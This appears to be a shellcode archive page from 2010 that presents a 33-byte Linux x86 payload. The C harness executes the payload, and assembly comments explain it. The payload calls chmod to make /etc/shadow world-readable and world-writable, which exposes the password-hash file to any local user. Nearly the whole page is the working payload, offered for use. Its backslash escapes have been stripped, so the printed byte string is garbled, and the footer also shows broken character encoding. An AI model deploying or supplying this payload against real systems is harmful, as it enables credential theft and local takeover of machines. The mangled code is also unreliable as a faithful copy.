[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : 33 Bytes chmod("/etc/shadow", 0777) Shellcode
# Published : 2010-04-18
# Author : sm0k
# Previous Title : 14 Bytes execve("a->/bin/sh") Local-only Shellcode
# Next Title : 36 bytes chmod("/etc/shadow", 0666) shellcode


# 5m0k3.digital.3scape@gmail.com
# http://plasticsouptaste.blogspot.com
# Name: 33 bytes chmod("/etc/shadow", 0777) shellcode
# Platform: Linux x86

#include "stdio.h"

int main(int argc, char *argv[])
{

char shellcode[]
="x31xc0x50xb0x0fx68x61x64x6fx77x68x63x2fx73x68x68x2fx2fx65x74x89xe3x31xc9x66xb9xffx01xcdx80x40xcdx80";

printf("Length: %dn",strlen(shellcode));
(*(void(*)()) shellcode)();

return 0;
}

/*
xor %eax,%eax
push %eax
mov $0xf,%al
push $0x776f6461
push $0x68732f63
push $0x74652f2f
mov %esp,%ebx
xor %ecx,%ecx
mov $0x1ff,%cx
int $0x80
inc %eax
int $0x80

*/
-- 
Blog transitio¨¦thanolique contemporain :
http://plasticsouptaste.blogspot.com/!!